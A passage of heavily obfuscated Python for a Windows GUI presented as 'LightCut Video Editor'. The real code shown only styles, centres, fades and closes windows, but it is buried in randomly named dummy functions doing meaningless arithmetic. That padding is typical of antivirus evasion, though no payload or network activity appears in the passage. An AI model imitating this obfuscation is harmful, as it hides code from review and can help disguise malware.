                swxfkgtq = nuqvgdsdvapkhf + yilhuv
                rceajde = lfsqzyj - xwdkqsmlxfn
                vldnmo = dhtweg + urfzwoqwxgejeih
                rximlxar = lobigs - urfzwoqwxgejeih
            except Exception:
                pass

        zsbgnziryokm = None
        qqjfyid = None
        vjfuvq = None
        mgidqdsxup = None
        aswlhmcuj = None
        dxefrl = None
        visnvjxeaz(zsbgnziryokm, qqjfyid, vjfuvq, mgidqdsxup, aswlhmcuj, dxefrl)


        def widmgdzmx(ediabzdqtx, ybkbcskiavzaecplj, lhegwvgkk, hcwsgiydxveywfgjnv):
            try:
                hcufkjvfmlig = 205
                qsoyocg = 900
                tshzqbotzoqqxoahkn = 159
                eihnuaamebvd = 762
                palybimtqbptzgpxng = 15
                xwyjgnxvubw = 600
                lsennjyvrlphmaegc = 490
                eprgqhqquigqzhwxqt = 331
                etmest = 528
                mqitsmqbasfozk = 849
                kwvrcqontxcfgo = 721
                usiyvsltk = 113
                mhzrnfkgyqcvb = 555
                bdgascv = palybimtqbptzgpxng - hcufkjvfmlig
                oirctibhih = qsoyocg + tshzqbotzoqqxoahkn
                krdgib = usiyvsltk - etmest
                cqsvivmxoo = eihnuaamebvd + kwvrcqontxcfgo
                xlohdgytlz = eihnuaamebvd * qsoyocg
                yytted = palybimtqbptzgpxng + etmest
                yyhvhwueryq = hcufkjvfmlig + qsoyocg + tshzqbotzoqqxoahkn + eihnuaamebvd + palybimtqbptzgpxng + xwyjgnxvubw + lsennjyvrlphmaegc + eprgqhqquigqzhwxqt + etmest + mqitsmqbasfozk + kwvrcqontxcfgo + usiyvsltk + mhzrnfkgyqcvb
                return yyhvhwueryq
            except Exception:
                pass

        ediabzdqtx = None
        ybkbcskiavzaecplj = None
        lhegwvgkk = None
        hcwsgiydxveywfgjnv = None
        faeypsuadsmvav = widmgdzmx(ediabzdqtx, ybkbcskiavzaecplj, lhegwvgkk, hcwsgiydxveywfgjnv)
        def xHvZyUcKidVzbIgJdY(lKYNFkMvihbmXujpeNSJpfS):
            try:
                JuGCMtjMRPAeKtkAaugYsAK = int(lKYNFkMvihbmXujpeNSJpfS.wm_frame(), 16)
                win32gui.SetWindowLong(JuGCMtjMRPAeKtkAaugYsAK, win32con.GWL_EXSTYLE, win32gui.GetWindowLong(JuGCMtjMRPAeKtkAaugYsAK, win32con.GWL_EXSTYLE) | win32con.WS_EX_LAYERED)
                win32gui.SetLayeredWindowAttributes(JuGCMtjMRPAeKtkAaugYsAK, 0, 255, win32con.LWA_ALPHA)
                kalneklnbpzakenqbw = 124.055506307
                sktiwqkbqfo = 773.4306013
                mxdaycgtbsuitwntod = 813
                twmrvwyjugzsqtic = 477
                wcnpmbypsei = 925
                wcawheskczmrtixot = 39.42761
                tczqcqneqykdznv = 344.2686266
                javptmackzcar = sktiwqkbqfo * mxdaycgtbsuitwntod
                rcrvpckcsixnxu = sktiwqkbqfo - wcnpmbypsei
                ahpypogeoiiza = wcawheskczmrtixot + mxdaycgtbsuitwntod
                xadpcvl = wcawheskczmrtixot * wcnpmbypsei
                BHDEkZAgBmehTQRkzEfhYpuh = win32gui.CreateRoundRectRgn(0, 0, lKYNFkMvihbmXujpeNSJpfS.winfo_width(), lKYNFkMvihbmXujpeNSJpfS.winfo_height(), 20, 20)
                win32gui.SetWindowRgn(JuGCMtjMRPAeKtkAaugYsAK, BHDEkZAgBmehTQRkzEfhYpuh, True)
                lKYNFkMvihbmXujpeNSJpfS.lift()
                lzpcbmxxxvsivudg = 468.0
                gluxtacdhvngkx = 843
                snpfsfsoodgdvcgtk = 44
                eghzuwxx = lzpcbmxxxvsivudg - snpfsfsoodgdvcgtk
                ptvkqdkvovj = lzpcbmxxxvsivudg + snpfsfsoodgdvcgtk
                hujkuxenuvhun = snpfsfsoodgdvcgtk + gluxtacdhvngkx
                ujowpnl = lzpcbmxxxvsivudg - snpfsfsoodgdvcgtk
                hvdylmrujq = lzpcbmxxxvsivudg - snpfsfsoodgdvcgtk
                lKYNFkMvihbmXujpeNSJpfS.attributes('-topmost', True)
                lKYNFkMvihbmXujpeNSJpfS.after(10, lambda: lKYNFkMvihbmXujpeNSJpfS.attributes('-topmost', False))
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def acvoddkgdanzwdphnr(pnsrhkkerazwq, erwrpdpj, ojzyjodwaflnsbi):
            try:
                uzeqiexykxizij = 704
                ovbfekjm = 873
                itvemjxthofp = 502
                wrvltmgpkdmcuyafv = 448
                cpqnolcnqsxxpuvanr = 682
                vzkmidii = 932
                qhqzjxi = uzeqiexykxizij * vzkmidii
                peetyqwq = cpqnolcnqsxxpuvanr + ovbfekjm
                vejintzojdlc = cpqnolcnqsxxpuvanr - wrvltmgpkdmcuyafv
            except Exception:
                pass

        pnsrhkkerazwq = None
        erwrpdpj = None
        ojzyjodwaflnsbi = None
        acvoddkgdanzwdphnr(pnsrhkkerazwq, erwrpdpj, ojzyjodwaflnsbi)


        def rhqnobszfggjd():
            try:
                ngbmfvhwnej = 232
                qlsfiqivx = 127
                jgaifjssuipgokxm = 707
                lesbixzpsbulpe = 940
                hhgynvylcyvebued = 54
                ybucqcqowloqzh = 308
                tyirltz = hhgynvylcyvebued * jgaifjssuipgokxm
                mojobvpvozhmew = lesbixzpsbulpe - hhgynvylcyvebued
                cojfvb = qlsfiqivx - jgaifjssuipgokxm
                bkrdkwjdgi = qlsfiqivx + ngbmfvhwnej
                rwcgmngkp = qlsfiqivx - hhgynvylcyvebued
            except Exception:
                pass

        rhqnobszfggjd()


        def sjbpypzkml():
            try:
                zkyeerewekkbssj = 296
                qehbgtavwap = 388
                ezcwxahmcpzkqfesyr = 412
                bovzmblccyfiih = 268
                pilgcoamfxcxdtjbj = 228
                ybdlsbraet = 414
                himbslftrqizey = ybdlsbraet - ezcwxahmcpzkqfesyr
                jplgjfbtbb = ybdlsbraet * pilgcoamfxcxdtjbj
                mysctbcmzy = zkyeerewekkbssj * bovzmblccyfiih
                faxkgj = zkyeerewekkbssj + qehbgtavwap + ezcwxahmcpzkqfesyr + bovzmblccyfiih + pilgcoamfxcxdtjbj + ybdlsbraet
                return faxkgj
            except Exception:
                pass

        ydwjjawas = sjbpypzkml()
        def center_window(lKYNFkMvihbmXujpeNSJpfS):
            try:
                lKYNFkMvihbmXujpeNSJpfS.update_idletasks()
                mywkzpkenqjnzov = 5
                llzclreozxlgyybbg = 652
                xvmydhjazzife = 715.29117
                dxftsme = 160.3
                xbxedhgikrcne = 597
                onxyoyyd = 384
                ssvtlua = 811
                xdyopida = 265
                vznmkritvzvwzq = 71
                zdvosctsovzetq = 887
                gxmfpwziackx = mywkzpkenqjnzov + vznmkritvzvwzq
                nolkagomjojtfl = vznmkritvzvwzq + xdyopida
                nsdsvshgqod = vznmkritvzvwzq + xvmydhjazzife
                vdlyugawptrq = xvmydhjazzife + xdyopida
                lmzafgt = xbxedhgikrcne * xvmydhjazzife
                rsuomlnr = vznmkritvzvwzq * xdyopida
                gzxmunlwdsswli = xvmydhjazzife + ssvtlua
                qxcsmrlvhmispf = onxyoyyd - llzclreozxlgyybbg
                njknzpcy = xbxedhgikrcne + llzclreozxlgyybbg
                mcqywlc = mywkzpkenqjnzov + llzclreozxlgyybbg + xvmydhjazzife + dxftsme + xbxedhgikrcne + onxyoyyd + ssvtlua + xdyopida + vznmkritvzvwzq + zdvosctsovzetq
                twsjWzDWZSTPQUubCySS = lKYNFkMvihbmXujpeNSJpfS.winfo_width()
                zesjwDYxJaUsF = lKYNFkMvihbmXujpeNSJpfS.winfo_height()
                nSkosjfuYmbLEa = lKYNFkMvihbmXujpeNSJpfS.winfo_screenwidth()
                ogAVERbRJbERTpenKUBWRw = lKYNFkMvihbmXujpeNSJpfS.winfo_screenheight()
                kwshxz = 934
                vjftgnoa = 364.8
                mvoskrqoj = 35
                qcmaqmkhzjvm = 734
                pultphsx = 985
                vcvmcwxnudmil = qcmaqmkhzjvm + vjftgnoa
                tifdhtcamtrtxp = vjftgnoa * pultphsx
                enwwyx = kwshxz + pultphsx
                aispfgjpz = pultphsx + vjftgnoa
                bnahuahumb = kwshxz + pultphsx
                fwhivlftwi = mvoskrqoj - pultphsx
                gopijcokwstb = pultphsx * qcmaqmkhzjvm
                bKaRWtvdGSjjzBPkovQjd = (nSkosjfuYmbLEa - twsjWzDWZSTPQUubCySS) // 2
                UpvuEpoTlBtRZdTMMgMTDJNg = (ogAVERbRJbERTpenKUBWRw - zesjwDYxJaUsF) // 2
                lKYNFkMvihbmXujpeNSJpfS.geometry('{}x{}+{}+{}'.format(twsjWzDWZSTPQUubCySS, zesjwDYxJaUsF, bKaRWtvdGSjjzBPkovQjd, UpvuEpoTlBtRZdTMMgMTDJNg))
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def odbvfnv(cmvifsklokfqbu, dxywtr, nkkbaqv, bxkjazhltyzd):
            try:
                xwslzt = 751
                mcrpdv = 534
                yesltzhflpfflswwe = 937
                abqwhbljsvdzmvl = 817
                lmvrnhyntze = 620
                nkhkupbxpmymvphitk = 353
                dlhanyke = 277
                ilhywnqvuvyatulu = 282
                jtvwcbdzkpxqvn = 807
                lwivqrt = 467
                tienignj = 64
                ukgjqxkzhxowqwq = 566
                sipmpmqcclinsp = jtvwcbdzkpxqvn - abqwhbljsvdzmvl
                skajpqzhuodmt = ukgjqxkzhxowqwq - yesltzhflpfflswwe
            except Exception:
                pass

        cmvifsklokfqbu = None
        dxywtr = None
        nkkbaqv = None
        bxkjazhltyzd = None
        odbvfnv(cmvifsklokfqbu, dxywtr, nkkbaqv, bxkjazhltyzd)


        def nftcxau(eivwayqnqaxjfw, puekodyf, jbolcmdnzeebm, pmkjvtokrbaqlsugdi, dygwrt, djoqxggayb):
            try:
                covafvlyplmipak = 719
                vpdzrzzvfyvoufvb = 858
                vmvhhdsldosoa = 381
                wxxkpdnsnuqh = 239
                wxzaxsbs = 257
                vyswjalfogzqzpe = 570
                rzdotvburccrknl = 775
                pdsfdgbovlidpkrlc = 232
                czatapxm = 949
                gikygqoxrqr = 579
                ofrborj = 401
                nxcwjfj = 725
                bezsluuxso = czatapxm + ofrborj
                kbrqmbdla = covafvlyplmipak + ofrborj
            except Exception:
                pass

        eivwayqnqaxjfw = None
        puekodyf = None
        jbolcmdnzeebm = None
        pmkjvtokrbaqlsugdi = None
        dygwrt = None
        djoqxggayb = None
        nftcxau(eivwayqnqaxjfw, puekodyf, jbolcmdnzeebm, pmkjvtokrbaqlsugdi, dygwrt, djoqxggayb)


        def ubjkhacwp(kvmoyhyiyv):
            try:
                hjvinmcsygl = 672
                nmraikrgqz = 236
                liwwsoeqyhwoe = 905
                qlazjiuhvlexrua = 701
                nxeumhrpltun = 861
                zqdjmwjvt = 861
                dspixkilsec = 641
                kptcssje = 175
                lymaimofbkguiduzcx = 367
                lptscerctwozauem = 737
                llqhbctqtgh = 211
                skgxxgfkxbstoqh = 552
                bdietbe = qlazjiuhvlexrua * dspixkilsec
                qaqddvayxztg = qlazjiuhvlexrua - zqdjmwjvt
            except Exception:
                pass

        kvmoyhyiyv = None
        ubjkhacwp(kvmoyhyiyv)


        def wctjhigtjpfvx():
            try:
                qutuygbqrhrwbq = 105
                lkbegdflkuwdvulf = 24
                bpuwhtdczztp = 756
                kfufksjtlvlwcx = 359
                vmcygygzzoqsyccj = 307
                tegmenukbeqvnvcmu = 370
                gebaepyziqeoynrr = 623
                hrohzplnipwojls = 481
                usqods = 74
                leywcirtad = 141
                znyuurdmosoai = 26
                vbmgbj = 894
                iceyzhmgraa = tegmenukbeqvnvcmu - vmcygygzzoqsyccj
                igwxhzl = tegmenukbeqvnvcmu - znyuurdmosoai
                ffbqxlsdmxdmz = tegmenukbeqvnvcmu + znyuurdmosoai
                mmxxrxlveosw = qutuygbqrhrwbq + lkbegdflkuwdvulf + bpuwhtdczztp + kfufksjtlvlwcx + vmcygygzzoqsyccj + tegmenukbeqvnvcmu + gebaepyziqeoynrr + hrohzplnipwojls + usqods + leywcirtad + znyuurdmosoai + vbmgbj
                return mmxxrxlveosw
            except Exception:
                pass

        nfneqpwra = wctjhigtjpfvx()
        def uKDdOwLVoBwnRIMHDW():
            try:
                LPkYQNZasjJxZm = "Are you sure you want to close the application?"
                #GEN(7)
                oJpDeSrUveXgTykCNrYZSCPwDA = ctypes.windll.user32.MessageBoxW(None, LPkYQNZasjJxZm, "LightCut Video Editor", 0x00000004 | 0x00000020)
                eiehsdci = 826
                vmtxykeyzsqvn = 468.67
                mcbgmfqlrwimrn = 800.182396
                utkzvticfxl = 463
                pfoutlkeaa = 908
                hcogfrxpecrp = vmtxykeyzsqvn - mcbgmfqlrwimrn
                wsrfgibt = pfoutlkeaa + utkzvticfxl
                ghdjqsi = mcbgmfqlrwimrn - eiehsdci
                awcarvothz = mcbgmfqlrwimrn * pfoutlkeaa
                lwulohqm = eiehsdci + vmtxykeyzsqvn + mcbgmfqlrwimrn + utkzvticfxl + pfoutlkeaa
                if oJpDeSrUveXgTykCNrYZSCPwDA:
                    if oJpDeSrUveXgTykCNrYZSCPwDA == 6:
                        MSphkeUndbvovVku()
                    elif oJpDeSrUveXgTykCNrYZSCPwDA == 7:
                        pass
                else:
                    MSphkeUndbvovVku()
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def nqmozc():
            try:
                gcplgpocgdogonhvmz = 664
                oixgegqqkz = 605
                wkzqnkzcmmtmzzwzlk = 431
                cotnnhvxlkvryzchz = 825
                jsqipdq = 904
                oyujmqzmnqtdyxarj = 150
                ihcaishm = cotnnhvxlkvryzchz - oixgegqqkz
                hnwncohuy = jsqipdq * oixgegqqkz
                vtnzakpttjn = gcplgpocgdogonhvmz * cotnnhvxlkvryzchz
                unzxvdkkcw = oixgegqqkz * oyujmqzmnqtdyxarj
                smmqwkpynqiny = oixgegqqkz - oyujmqzmnqtdyxarj
                rzdryu = oyujmqzmnqtdyxarj - cotnnhvxlkvryzchz
            except Exception:
                pass

        nqmozc()


        def igapkqb():
            try:
                tgnasqmpsye = 303
                bxlxak = 946
                cwhikkbevbsad = 935
                wirkthbzqcv = 51
                djrqasthcmnm = 347
                xzcuad = 475
                rpwjpfp = cwhikkbevbsad - xzcuad
                vvhile = xzcuad - cwhikkbevbsad
                arxfmzgd = djrqasthcmnm * xzcuad
                ajnuyis = xzcuad * djrqasthcmnm
                yknnepsqgwp = cwhikkbevbsad * wirkthbzqcv
                ipvkwy = bxlxak + tgnasqmpsye
            except Exception:
                pass

        igapkqb()
        def fhchnUTxxaspGagzD(event):
            global FmXQjzVOroORbNOVhVrmTNlyhf, YETpYIDwJmWMOBOfvrWG, MiMtFwPbJaPkEtFJiYnOd, RHqkdDftCAxFfDNxPRRjDswoiA
            try:
                x, y = event.x_root, event.y_root
                TwGsJVIUmwREkIszfXZGsKICSm, YFOpBlKodNydvAeTmYxyDhmrbm = epZUDtFZaODlzqbOI.winfo_rootx(), epZUDtFZaODlzqbOI.winfo_rooty()
                cBOXQZukdUFvIVjUjWahMyAEiS, gLDWIkZUNuVUn = epZUDtFZaODlzqbOI.winfo_width(), epZUDtFZaODlzqbOI.winfo_height()
                mumttmjbcxr = 359
                htcrnzwlqnzez = 23
                sihgwjzjv = 813
                kayjqnch = sihgwjzjv - htcrnzwlqnzez
                xaeevbg = mumttmjbcxr + sihgwjzjv
                zqesmwhho = mumttmjbcxr - htcrnzwlqnzez
                dvkcznhgk = mumttmjbcxr + sihgwjzjv
                zijtxmxkiwhi = mumttmjbcxr + sihgwjzjv
                fsxneqrgxvom = htcrnzwlqnzez - mumttmjbcxr
                bzyycgkhyycut = htcrnzwlqnzez - sihgwjzjv
                ldmnxs = htcrnzwlqnzez * mumttmjbcxr
                cbwecu = mumttmjbcxr * sihgwjzjv
                gqtvvtolxgwsnc = htcrnzwlqnzez * mumttmjbcxr
                if TwGsJVIUmwREkIszfXZGsKICSm <= x <= TwGsJVIUmwREkIszfXZGsKICSm + cBOXQZukdUFvIVjUjWahMyAEiS and YFOpBlKodNydvAeTmYxyDhmrbm <= y <= YFOpBlKodNydvAeTmYxyDhmrbm + gLDWIkZUNuVUn:
                    threading.Thread(target=uKDdOwLVoBwnRIMHDW).start()
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def rpohopmyh():
            try:
                fyynymcyjw = 652
                aqvgictj = 328
                dnzbwxjbqujenpx = 560
                wyarctvkp = 872
                qxkqmxl = 650
                towbpkklnnkqmxeft = 880
                fmmchxpjhqdt = 685
                jdqtvopnenxe = 876
                ovkgorhhhsbet = 510
                mzoejxnahede = 87
                zcytbwwdid = 161
                klzigtuwmnxk = zcytbwwdid - fyynymcyjw
                djplcvjnvar = aqvgictj + ovkgorhhhsbet
                zpniej = fyynymcyjw - qxkqmxl
                lynntnpxazphmx = fyynymcyjw + mzoejxnahede
                lrmuksvl = aqvgictj - fmmchxpjhqdt
                ilupcousfgkirn = zcytbwwdid - wyarctvkp
            except Exception:
                pass

        rpohopmyh()


        def vwfpiwgwnzj(teyvsodlsaakqzj):
            try:
                dcufddz = 490
                nybkdcgpp = 619
                zevgug = 79
                mitsmusjv = 464
                koloydkhj = 823
                idumacojwpbgp = 32
                zmoyrahkrag = 217
                quftnjrwdjphcsotc = 522
                xihzzvjzi = 749
                gywmziorsl = 169
                lmfotpjpilusxa = 808
                aziovnfwcxpgd = koloydkhj * dcufddz
                rsbmiagyh = xihzzvjzi + gywmziorsl
                ogktlrlnm = koloydkhj + gywmziorsl
                qkgusn = zevgug - quftnjrwdjphcsotc
                auyhzdetth = dcufddz + nybkdcgpp + zevgug + mitsmusjv + koloydkhj + idumacojwpbgp + zmoyrahkrag + quftnjrwdjphcsotc + xihzzvjzi + gywmziorsl + lmfotpjpilusxa
                return auyhzdetth
            except Exception:
                pass

        teyvsodlsaakqzj = None
        svdutwjw = vwfpiwgwnzj(teyvsodlsaakqzj)


        def wyvxeeumceprtchf():
            try:
                uxwhlhhsxjfkh = 715
                jexaqwxmvbciefdcez = 524
                jwkzdipg = 447
                bfmyczuqyquvif = 260
                cfylyxf = 204
                qhxpakhiogj = 656
                uboemgueihscsnw = 200
                esfuwmqbcpa = 246
                rfjsamjxyuhs = 702
                vsgpqssdmszdp = 299
                msmhxrggiqc = 784
                dgoojj = jwkzdipg + cfylyxf
                cjphef = jwkzdipg * esfuwmqbcpa
                uptwnbx = uxwhlhhsxjfkh + rfjsamjxyuhs
                apmptmb = uxwhlhhsxjfkh + jexaqwxmvbciefdcez + jwkzdipg + bfmyczuqyquvif + cfylyxf + qhxpakhiogj + uboemgueihscsnw + esfuwmqbcpa + rfjsamjxyuhs + vsgpqssdmszdp + msmhxrggiqc
                return apmptmb
            except Exception:
                pass

        megfecchw = wyvxeeumceprtchf()


        def ywmcbsxtjgdm():
            try:
                lkxsnaaq = 703
                dvwsyf = 786
                mjhvzkgunkkdk = 644
                hmtwkkacrzcwg = 587
                xdjmkws = 586
                fbkceqmq = 924
                khxidr = 780
                nuxbalcpy = 79
                vqvniqilhf = 516
                nagmfbbeib = 142
                balagijdjisnjp = 91
                sigygp = balagijdjisnjp - lkxsnaaq
                cfmsoqtpfveg = nagmfbbeib * hmtwkkacrzcwg
            except Exception:
                pass

        ywmcbsxtjgdm()
        def tGDJFIMZTUSRMGohW(JuGCMtjMRPAeKtkAaugYsAK, oeLGAPgUUAfvfDMkyNljC):
            try:
                win32gui.SetWindowLong(JuGCMtjMRPAeKtkAaugYsAK, win32con.GWL_EXSTYLE, win32gui.GetWindowLong(JuGCMtjMRPAeKtkAaugYsAK, win32con.GWL_EXSTYLE) | win32con.WS_EX_LAYERED)
                ppksmvxg = 307
                uefnaflwy = 396
                snbmboxd = 586.91702
                byfgskghdofhi = 848
                ztfxluxi = 279
                uokcipfcvmgqlojt = 330.14979
                pookug = 168.8460
                octsvzgoyk = uokcipfcvmgqlojt - pookug
                zsemlybfpvmz = uefnaflwy - ztfxluxi
                fbishnunwkfirl = snbmboxd * pookug
                apeqxwelhjbwvs = ppksmvxg + snbmboxd
                emychtaowqgzn = ppksmvxg + uefnaflwy + snbmboxd + byfgskghdofhi + ztfxluxi + uokcipfcvmgqlojt + pookug
                win32gui.SetLayeredWindowAttributes(JuGCMtjMRPAeKtkAaugYsAK, 0, oeLGAPgUUAfvfDMkyNljC, win32con.LWA_ALPHA)
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def gyekfdarrozbrs():
            try:
                pvshvadtcnk = 688
                tzlslrujr = 285
                jnrehh = 93
                baarefrhu = 443
                hzyohmj = 326
                wlfiaalyrehsyyhesg = 883
                dvdhjzqsyuiurf = 622
                rbuyeq = jnrehh + pvshvadtcnk
                xlzsxzjvte = baarefrhu - dvdhjzqsyuiurf
                uhhucygnwpmz = baarefrhu - tzlslrujr
                tzdlbvs = wlfiaalyrehsyyhesg + jnrehh
                tuykapiudt = tzlslrujr + hzyohmj
                hrxgzvvicetfhy = wlfiaalyrehsyyhesg - tzlslrujr
            except Exception:
                pass

        gyekfdarrozbrs()


        def jywmfaupfacuyytlg():
            try:
                dnbccmvanmjljsn = 647
                ycxdjswjhkdeg = 908
                lcqhhdh = 852
                vedqfotquw = 455
                feftsfam = 6
                qqtorszhxoaamapmbq = 706
                gfzvchsrrvsfiqjxxu = 74
                ztprgvb = ycxdjswjhkdeg + qqtorszhxoaamapmbq
                pfcaawye = gfzvchsrrvsfiqjxxu - dnbccmvanmjljsn
                cnjkmgmlc = gfzvchsrrvsfiqjxxu - feftsfam
                hnwyzvvt = dnbccmvanmjljsn + ycxdjswjhkdeg + lcqhhdh + vedqfotquw + feftsfam + qqtorszhxoaamapmbq + gfzvchsrrvsfiqjxxu
                return hnwyzvvt
            except Exception:
                pass

        xwutmr = jywmfaupfacuyytlg()
        def UrDGfRXxHWrZhO(JuGCMtjMRPAeKtkAaugYsAK):
            try:
                owqGHyZrbOdKLyKdN = win32gui.GetLayeredWindowAttributes(JuGCMtjMRPAeKtkAaugYsAK)[1]
                zwhfgeaoxnaddzw = 342
                khawtllqvtmuujxhk = 595
                isqgjiidriwft = 986.5438681760
                bobldu = zwhfgeaoxnaddzw + khawtllqvtmuujxhk
                esgblebhnscgk = isqgjiidriwft + zwhfgeaoxnaddzw
                pdzsbdjkrxgft = khawtllqvtmuujxhk + zwhfgeaoxnaddzw
                laxaamnxrjfl = khawtllqvtmuujxhk * zwhfgeaoxnaddzw
                vvsmjnlhs = zwhfgeaoxnaddzw - isqgjiidriwft
                niycnpinsmxfy = zwhfgeaoxnaddzw + khawtllqvtmuujxhk
                ozqzapmpcequ = isqgjiidriwft * zwhfgeaoxnaddzw
                mzjziiywi = zwhfgeaoxnaddzw * isqgjiidriwft
                olaowrbycxyybx = zwhfgeaoxnaddzw * khawtllqvtmuujxhk
                xghswjmuw = khawtllqvtmuujxhk * zwhfgeaoxnaddzw
                eevvizurytu = isqgjiidriwft * zwhfgeaoxnaddzw
                euniiithtsh = zwhfgeaoxnaddzw + khawtllqvtmuujxhk + isqgjiidriwft
                for alpha in range(255, 0, -1):
                    tGDJFIMZTUSRMGohW(JuGCMtjMRPAeKtkAaugYsAK, alpha)
                    time.sleep(0.001)
                jgkgsokvfkyr = 956
                oowgyuvpwz = 826
                hsibnmhnrgtbxrvl = 763
                liovhkpezqwisl = 546.1143
                xmobydayimcytdxc = 561
                vxkzhax = 30.693150
                ziefiayelryui = 237
                xpnxyunre = 57
                acxoyukzdbhze = hsibnmhnrgtbxrvl - oowgyuvpwz
                auhlribotps = oowgyuvpwz + jgkgsokvfkyr
                tiszewtggwgipz = vxkzhax + xmobydayimcytdxc
                jiqbvqrgngal = jgkgsokvfkyr + xmobydayimcytdxc
                zgjxzbqjchmpv = oowgyuvpwz * hsibnmhnrgtbxrvl
                win32gui.ShowWindow(JuGCMtjMRPAeKtkAaugYsAK, win32con.SW_MINIMIZE)
                tGDJFIMZTUSRMGohW(JuGCMtjMRPAeKtkAaugYsAK, owqGHyZrbOdKLyKdN)
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def hgpzznvjeoiqmlnzoc(dlvwaojxvm, cywjcautvs, nksbmzs, kthlrjiw, fknhpazrurxo, zlxjuyldmazprboowx):
            try:
                rorpbzry = 883
                ootpfk = 904
                jifczjsddvqew = 350
                crfyruqw = 325
                xomjdqxnhus = 178
                ectqawv = 289
                uexocafkqyzfxi = crfyruqw + ectqawv
                plyckkdrgcqavz = rorpbzry * ootpfk
            except Exception:
                pass

        dlvwaojxvm = None
        cywjcautvs = None
        nksbmzs = None
        kthlrjiw = None
        fknhpazrurxo = None
        zlxjuyldmazprboowx = None
        hgpzznvjeoiqmlnzoc(dlvwaojxvm, cywjcautvs, nksbmzs, kthlrjiw, fknhpazrurxo, zlxjuyldmazprboowx)


        def uqzvbhaoggcx(pdwxspszpnkvtg, pwbofcoylukhrxt, zblkzjmajy, dtccjl):
            try:
                dduojkmwl = 313
                eytxxjlz = 257
                zgbrazdwhyrdvlq = 184
                ctkqxepjaeaclpf = 180
                icepfjz = 498
                cqdydffhoy = 947
                xjnzngakkd = icepfjz - zgbrazdwhyrdvlq
                puleneuylw = ctkqxepjaeaclpf * cqdydffhoy
                ozrhfyjzcozvbl = zgbrazdwhyrdvlq + eytxxjlz
                sgszmh = eytxxjlz + icepfjz
                oygxdrjq = eytxxjlz * ctkqxepjaeaclpf
            except Exception:
                pass

        pdwxspszpnkvtg = None
        pwbofcoylukhrxt = None
        zblkzjmajy = None
        dtccjl = None
        uqzvbhaoggcx(pdwxspszpnkvtg, pwbofcoylukhrxt, zblkzjmajy, dtccjl)
        def ClggUojKsiFEIQdooEzxyGXLUM(event):
            try:
                nikpicykxocgqlapvz = 986
                dsocwzpxsgmprub = 731
                dubuolqkvbrfcbzecm = 221.584
                qlppfbrxdkqyl = 403.303
                pwckzcvwycufgz = 735
                pspbuc = 692.405
                utglxq = 840
                rcidjtfptd = 473
                oywpjoxbiiryoc = 550
                hzcctzneri = rcidjtfptd - qlppfbrxdkqyl
                mvlwlk = qlppfbrxdkqyl * oywpjoxbiiryoc
                sbtqgduwfdgkmi = rcidjtfptd * oywpjoxbiiryoc
                mjmzhqanetxilb = rcidjtfptd - pspbuc
                kysmsqycywhevb = pspbuc - rcidjtfptd
                klijmmx = rcidjtfptd * qlppfbrxdkqyl
                waxrybwrqk = pwckzcvwycufgz + oywpjoxbiiryoc
                tswdutyivxy = qlppfbrxdkqyl + rcidjtfptd
                psetvwcpo = qlppfbrxdkqyl * dsocwzpxsgmprub
                ipoawhus = oywpjoxbiiryoc - utglxq
                x, y = event.x_root, event.y_root
                TwGsJVIUmwREkIszfXZGsKICSm, YFOpBlKodNydvAeTmYxyDhmrbm = LsbwHXycXAjqWTj.winfo_rootx(), LsbwHXycXAjqWTj.winfo_rooty()
                cBOXQZukdUFvIVjUjWahMyAEiS, gLDWIkZUNuVUn = LsbwHXycXAjqWTj.winfo_width(), LsbwHXycXAjqWTj.winfo_height()
                qkcchqqyqmtox = 367.093302810
                qthlbvfmirz = 939.38480771
                omoulxtc = 426
                xanikhvakx = 127
                aupvqmzrmmpnunztiz = 446
                iungvsyqax = qthlbvfmirz + xanikhvakx
                ypstcukbx = xanikhvakx * aupvqmzrmmpnunztiz
                maqfbe = xanikhvakx * aupvqmzrmmpnunztiz
                iegdjtktgdmp = aupvqmzrmmpnunztiz * qthlbvfmirz
                hpkmnjxgfjjyp = omoulxtc * aupvqmzrmmpnunztiz
                heypmmlfvdbvc = qkcchqqyqmtox - qthlbvfmirz
                lofkwnqioecd = qthlbvfmirz * aupvqmzrmmpnunztiz
                if TwGsJVIUmwREkIszfXZGsKICSm <= x <= TwGsJVIUmwREkIszfXZGsKICSm + cBOXQZukdUFvIVjUjWahMyAEiS and YFOpBlKodNydvAeTmYxyDhmrbm <= y <= YFOpBlKodNydvAeTmYxyDhmrbm + gLDWIkZUNuVUn:
                    JuGCMtjMRPAeKtkAaugYsAK = win32gui.GetForegroundWindow()
                    qipnpyzxgtpu = 10
                    cmivxkrysfpbzoy = 781
                    aomytt = 53
                    oskrjyeoinbv = 153.5670744
                    nxpsnh = 990
                    azmoiidjmwhadedgi = 655
                    zyxpqqv = 608
                    frhsexhtcrgl = 416.988695479
                    tnbwxbauia = cmivxkrysfpbzoy + azmoiidjmwhadedgi
                    pfpdjxpu = nxpsnh + cmivxkrysfpbzoy
                    dsmims = frhsexhtcrgl + cmivxkrysfpbzoy
                    uezipsuj = nxpsnh - aomytt
                    shljmtwlhjzyov = cmivxkrysfpbzoy - zyxpqqv
                    sqyviiubrqfnw = zyxpqqv + nxpsnh
                    sslzmic = nxpsnh * frhsexhtcrgl
                    qtmiwljxqj = aomytt - nxpsnh
                    clgctl = cmivxkrysfpbzoy * azmoiidjmwhadedgi
                    xsnnonfd = qipnpyzxgtpu * cmivxkrysfpbzoy
                    nclahelx = zyxpqqv + azmoiidjmwhadedgi
                    UrDGfRXxHWrZhO(JuGCMtjMRPAeKtkAaugYsAK)
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def lgplkfzgu():
            try:
                cznmuzsgkkdkbim = 88
                blyjycrzcrenunrsls = 472
                pzvgiqtqwvjrmxxteq = 854
                bfwnyr = 676
                pregia = 595
                nprfxuili = pregia * cznmuzsgkkdkbim
                ohzxvtyhax = blyjycrzcrenunrsls + bfwnyr
            except Exception:
                pass

        lgplkfzgu()


        def chroobcjsfltvklalr():
            try:
                vclbjwmq = 187
                slnrhnxks = 774
                uywosqqorttigavmj = 745
                seziainuoexcmchz = 185
                svanhcjyqrxjrdwooi = 282
                zdktxrvzvzbzn = svanhcjyqrxjrdwooi * seziainuoexcmchz
